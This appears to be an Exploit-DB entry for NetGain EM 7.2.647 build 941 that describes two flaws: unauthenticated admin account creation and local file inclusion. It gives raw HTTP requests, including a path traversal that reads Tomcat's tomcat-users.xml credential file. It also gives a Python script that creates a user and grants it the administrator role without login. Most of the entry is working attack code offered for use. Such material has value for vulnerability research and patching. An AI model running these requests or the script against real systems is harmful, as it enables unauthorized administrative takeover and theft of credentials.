NetGain EM 7.2.647 build 941 - Authentication Bypass / Local File Inclusion

EDB-ID: 42058
Author: f3ci
Published: 2017-05-24
CVE: N/A
Type: Webapps
Platform: JSP
Aliases: N/A
Advisory/Source: N/A
Tags: File Inclusion (LFI/RFI), Credentials Bypass aka Admin Bypass AKA Auth Bypass (AB/CB)
Vulnerable App: N/A

 # Exploit Title: Add User Account with Admin Privilege without Login & Local File Inclusion 
# Date: 2017-05-21
# Exploit Author: f3ci
# Vendor Homepage: http://www.netgain-systems.com
# Software Link: http://www.netgain-systems.com/free-edition-download/
# Version: <= v7.2.647 build 941
# Tested on: Windows 7

Add User Account with Admin Privilege without Login
----------------------------------------------
We can create user and give admin privilege to user which we have made
without login.
Because this app does not check the session on this request


Local File Inclusion
----------------------------------------------
Normal Request:

POST /u/jsp/log/download_do.jsp HTTP/1.1
Host: 192.168.0.21:8081
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.21:8081/u/index.jsp
Cookie: JSESSIONID=8A172EB8DDBD08D1E6D25A1CE8CC74AC
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

filename=iossd.log

We can download another file with change value on filename parameter and
also we can send this request without login.

Example:

POST /u/jsp/log/download_do.jsp HTTP/1.1
Host: 192.168.0.21:8081
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.21:8081/u/index.jsp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

filename=../../tomcat/conf/tomcat-users.xml
'''
#!/usr/local/bin/python
# Exploit Title: Add User Account with Admin Privilege without Login
# Date: 2017-05-21
# Exploit Author: f3ci
# Vendor Homepage: http://www.netgain-systems.com
# Software Link: http://www.netgain-systems.com/free-edition-download/
# Version: <= v7.2.647 build 941
# Tested on: Windows 7

import requests
import sys

try:
def create():
ip = str(sys.argv[1])
port = str(sys.argv[2])
user = str(sys.argv[3])
passwd = str(sys.argv[4])

print "\033[1;32m[+]\033[1;m Try to Create user"
url="http://"+ip+":"+port+"/u/jsp/security/user_save_do.jsp"
data= {
'new': "true",
'id': "",
'name': user,
'dname': "foobar",
'password': passwd,
'password2': passwd,
'description': "",
'emails': "foo@bar.com",
'mobileNumber': "000000",
'loginAttempts': "5",
}
response = requests.post(url, data=data)
status = response.status_code
if status == 200:
print "\033[1;32m[+]\033[1;m Success!!"
role()
else:
print "\033[91m[-]\033[91;m Create User Failed"


def role():
ip = str(sys.argv[1])
port = str(sys.argv[2])
user = str(sys.argv[3])
passwd = str(sys.argv[4])

print "\033[1;32m[+]\033[1;m Get admin role"
url="http://"+ip+":"+port+"/u/jsp/security/role_save_do.jsp"
data= {
'name': "admin",
'description': "Administrator",
'users': [user,"admin"],
}
response = requests.post(url, data=data)
status = response.status_code
if status == 200:
print "\033[1;32m[+]\033[1;m Success!!"
print "\033[1;32m[+]\033[1;m Login with user:" +user+ " password:" + passwd
else:
print "\033[91m[-]\033[91;m Get admin role Failed"

create();

except:
print "\033[91m[!]\033[91;m Usage: %s <IP> <port> <username> <password>" % str(sys.argv[0])
print "\033[91m[!]\033[91;m Ex: %s 127.0.0.1 8081 foobar passw0rd" % str(sys.argv[0])

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